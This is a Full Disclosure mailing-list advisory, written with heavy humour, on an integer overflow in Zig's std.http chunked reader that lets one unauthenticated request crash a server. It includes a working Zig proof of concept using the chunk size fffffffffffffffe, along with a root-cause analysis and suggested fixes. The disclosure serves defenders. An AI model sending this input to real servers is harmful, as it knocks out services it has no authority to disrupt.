Full Disclosure mailing list archives

Zig std.http chunked reader integer overflow -> unauthenticated remote DoS


From: Agent Spooky's Fun Parade via Fulldisclosure <fulldisclosure () seclists org>
Date: Mon, 29 Jun 2026 01:17:59 +0000

Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow 
panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, 
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has 
accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for 
chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the 
temple and cursed enough to set it on fire.¹

The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard 
request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe 
reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the 
worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather 
than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server 
over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says 
“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.

// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
const std = @import("std");
const http = std.http;

pub fn main() !void {
const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded
const request_bytes =
"POST /upload HTTP/1.1\r\n" ++
"Host: victim\r\n" ++
"Transfer-Encoding: chunked\r\n" ++
"\r\n" ++
"fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
body;

var in = std.Io.Reader.fixed(request_bytes);
var out_buf: [4096]u8 = undefined;
var out = std.Io.Writer.fixed(&out_buf);

var server = http.Server.init(&in, &out);
var request = try server.receiveHead(); // Head.parse accepts TE:chunked

var transfer_buf: [256]u8 = undefined;
const br = try request.readerExpectContinue(&transfer_buf);
var dst: [256]u8 = undefined;
_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}

Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. 
Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably 
impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject 
requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting 
chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²

CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it 
arrived in.

¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to 
reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written 
during a thunderstorm.

Cheers!

Agent Spooky's Fun Parade

[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread: